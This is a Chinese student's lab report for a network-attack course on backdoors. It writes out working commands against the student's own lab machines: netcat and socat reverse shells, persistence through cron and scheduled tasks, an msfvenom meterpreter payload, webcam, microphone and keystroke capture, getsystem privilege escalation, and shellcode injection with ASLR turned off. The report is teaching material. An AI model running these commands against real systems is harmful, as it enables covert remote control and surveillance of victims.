2019-2020-2 20175315陈煜扬《网络对抗技术》Exp2 后门原理与实践

2019-2020-2 20175315陈煜扬《网络对抗技术》Exp2 后门原理与实践

1 实践说明

1.1实践内容

(1)使用netcat获取主机操作Shell,cron启动

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

 (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告

1.2基础知识

  • 后门概念

    • 后门就是不经过正常认证流程而访问系统的通道
  • 哪里有后门

    • 编译器留后门

    • 操作系统留后门

    • 最常见的当然还是应用程序中留后门

    • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序

2 实践步骤

2.1 使用netcat获取主机操作Shell,cron启动

2.1.1 Windows获得Linux Shell

windows中通过win+R——cmd——ipconfig查看IP地址

关闭防火墙,windows使用ncat.exe -l -p 5315打开监听,并检查windows和linux的连通性。

注意:这里一定要关闭防火墙,不然会影响后面的步骤

 

linux使用nc 192.168.0.103 5315 -e /bin/sh反弹连接windows

windows下获得一个linux shell,可运行任何指令,如ls

2.1.2 Linux获得Windows Shell

linux使用ifconfig查看IP地址

这里遇到了一点问题,直接ifconfig指令并没有得到我们想要的结果,后来通过https://www.jianshu.com/p/5e3500243125找到了解决方法。

linux使用nc -l -p 5315打开监听

windows使用ncat.exe -e cmd.exe 192.168.218.128 5315反弹连接linux

linux下看到windows的命令提示

2.1.3 cron启动

linux使用crontab -e并选择3进入编辑模式,在最后一行添加40 * * * * /bin/netcat 192.168.0.103 5315 -e /bin/sh,表示每个小时的第40分钟执行后面的那条指令

linux在40分钟时连接windows,这是一个反弹连接式后门,监听的windows连接后可获得shell

2.1.4 nc传输数据

windows使用ncat.exe -l 5315监听端口,linux使用nc 192.168.0.103 5315反弹连接到windows的端口,连接建立成功后双方可互传输数据

2.2 使用socat获取主机操作Shell, 任务计划启动

2.2.1 socat

windows打开计算机管理,在任务计划程序中创建任务

新建操作,并在程序或脚本中选择socat.exe路径,添加参数一栏填写tcp-listen:5334 exec:cmd.exe,pty,stderr

新建触发器,选择时间。到达时间后会自行触发

linux使用socat - tcp:192.168.1.4:5334完成连接,获得windows shell

 

2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

2.3.1 MSF meterpreter

linux使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.218.128 LPORT=5315 -f exe > backdoor5315.exe生成后门程序

windows使用ncat.exe -lv 5315 > backdoor5315.exe,查看连接状态

输入msfconsole后进行如下操作:
(1)use exploit/multi/handler,设置payload
(2)set payload windows/meterpreter/reverse_tcp
(3)set LHOST 192.168.218.128,设置ip
(4)set LPORT 5315,设置端口
(5)show options,查看选项
(6)exploit,可以看到已经获取到了Windows的shell,可以输入dir来验证

linux使用exploit开始监听,并在windows中运行后门程序,linux成功获得windows的shell

2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

2.4.1 获取录音权限

linux使用record_mic可以截取一段音频

linux使用webcam_snap可以获取摄像头内容

linux使用keyscan_start可以记录下击键的过程,使用keyscan_dump可以读取击键记录

linux使用screenshot可以进行截屏

linux使用getuid可以查看当前用户,使用getsystem可以进行提权操作

2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

2.5.1 shellcode

在[Exploit DataBase](https://www.exploit-db.com/shellcodes)中搜索linux/x86 - Reverse下载反弹连接的shellcode并提取其中的机器码

注入Shellcode

(1)在第一个终端里关闭地址随机化,输入echo "0" > /proc/sys/kernel/randomize_va_space
(2)在第一个终端中运行pwn1之后不回车

(3)在第二个终端中输入ps -ef | grep pwn1查看pwn1的进程号2394

 

(4)用GDB追踪该进程,找到栈顶(esp)中存放的地址为0xffffd37c,计算出shellcode地址就是 0xffffd37c+4,即0xffffd380。
①在第二个终端启动gdb
②输入attach 2394启动gdb调试这个进程。
③输入disassemble foo查看到ret的地址为0x080484ae。
④输入break *0x080484ae0x080484ae处设置断点。
⑤在之前的终端中按一下回车,然后在调试的终端中输入c继续运行。
⑥输入info r esp查看栈顶指针所在的位置,并查看改地址存放的数据:

 

 

 (5)在第一个终端中中断pwn1运行
(6)在第二个终端中注入input_shellcode:

在第一个终端中打开msf(msfconsole)控制台,依次输入:

(1)use exploit/multi/handler,设置payload
(2)set payload linux/x86/shell_reverse_tcp
(3)set LHOST 127.0.0.1,设置ip
(4)set LPORT 4444,设置端口
(5)show options,查看选项
(6)exploit ,设置完成,开始监听

运行shellcode
在第二个终端输入(cat input_shellcode;cat) | ./pwn1运行pwn1文件,在第一个终端中可以看到已经成功调取了shell

3 问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

从非正规途径下载了某个程序,U盘携带,恶意网站等等

(2)例举你知道的后门如何启动起来(win及linux)的方式?

linux:定时启动   windows:修改注册表

(3)Meterpreter有哪些给你印象深刻的功能?

可以读取麦克风 摄像头等,当时拍下了我在镜头前的照片真的挺让人惊讶的。

(4)如何发现自己有系统有没有被安装后门?

经常杀毒,使用杀毒软件,并查看注册表和任务管理器,看看有没有异常进程。

4 实验中遇到的问题

(1)Linux中输入ifconfig显示未找到命令

https://www.jianshu.com/p/5e3500243125通过该网站解决了问题。

(2)在加分任务的时候发现最后监听不到。

自己操作不规范,导致当时的地址找错了,本来是ffffd37c,之前找错了一直以为是ffffd390?

5 实验心得与体会

本次实验较为简单,问题也不多,这些通过学长学姐的博客以及询问同学都能够得到解决。但是本次实验却非常有意思而且带给我的感触也是非常深刻的。让我感受到了后门的隐患以及危害,获得信息的手段多样而且对于那些攻击者来说可以说是轻而易举。所以电脑管家和杀毒软件还是非常必要的,虽说不能百分百保证安全,但就像人的免疫系统一样不可缺少!

 

posted @ 2020-03-18 18:57  20175315陈煜扬  阅读(167)  评论(0编辑  收藏  举报